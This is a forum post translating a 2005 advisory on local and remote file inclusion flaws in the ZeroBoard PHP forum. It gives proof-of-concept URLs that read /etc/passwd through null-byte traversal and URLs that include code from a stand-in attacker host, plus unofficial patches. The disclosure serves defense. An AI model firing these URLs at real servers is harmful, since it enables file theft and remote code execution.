发新话题
打印

[翻译]ZeroBoard多个漏洞

[翻译]ZeroBoard多个漏洞

本文作者: 剑心[B.C.]
翻译网站: http://www.bnso.net

发布日期:2005.1.13
漏洞概述:
ZeroBoard是一款在Korea使用广泛的用于web论坛程序。最近在ZeroBoard中发现了多个漏洞,这些漏洞允许一些服务器上敏感信息被泄露,或者导致任意的Php脚本文件被包含并且执行。
漏洞发现:由SSR小组提供漏洞信息。
漏洞细节:
1)文件泄露漏洞
利用这个漏洞需要的系统环境:
Php.ini中以下内容必须这样设置:magic_quotes_gpc = off(注意:outlogin.php只有在Php 5.x下运行时才存在漏洞。)
漏洞描述:
当magic_quotes_gpc设置为off时,Php将丢弃含有NULL空字符的输入变量。
可以在_head.php中找到以下的漏洞代码:
if(eregi(":\/\/",$_zb_path)) $_zb_path="";
include $_zb_path."lib.php";}
也可以在include/write.php中发现以下的漏洞代码:
if(eregi(":\/\/",$dir)) $dir=".";
include $dir."/write.php";
还有outlogin.php中的漏洞代码:
if(eregi(":\/\/",$_zb_path)) $_zb_path="./";
[snip]
@include $_zb_path."_head.php";
漏洞证明:
以下的任何一个URL将触发这个漏洞。
http://[victim]/_head.php?_zb_path=../../../../../etc/passwd%00
http://[victim]/include/write.php?dir=../../../../../etc/passwd%00
http://[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00
2)Php原代码注射漏洞
所需的系统环境:
Php.ini中以下内容必须这样设置:: register_globals = On and/or allow_url_fopen = On.
漏洞描述:
在print_category.php中使用的$dir变量没有初始化,于是允许远程攻击者包含任意处于其他服务器上的文件。
漏洞证明:
以下的任何一个URL将触发这个漏洞。
http://[victim]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/
http://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/
在include/print_category.php中发现的漏洞代码:
<? include "$dir/value.php3"; ?>
在skin/zero_vote/login.php, skin/zero_vote/setup.php与/zero_vote/setup.php中发现的漏洞代码:
<? include "$dir/value.php3"; ?>
非正式补丁:
在没有官方正式补丁的情况下我们建议你按照以下建议修改原文件:
ZeroBoard 版本4.1pl5
修改_head.php的13行如下:
if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="";
修改include/write.php的16行如下:
if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";
修改outlogin.php的50行如下:
if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="./";
将以下的代码插入到include/print_category.php的第3行:
if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";
修改skin/zero_vote/login.php牡?行,skin/zero_vote/setup.php的42行,skin/zero_vote/ask_password.php的第1行,skin/zero_vote/error.php的第1行如下:
<? if(eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir="."; include
"$dir/value.php3"; ?>
白痴狗将会离我们而去, 需要怀念白痴狗的朋友, 请发消息给白痴狗的QQ (PS:白痴狗QQ会永远在网上开着)

TOP

发新话题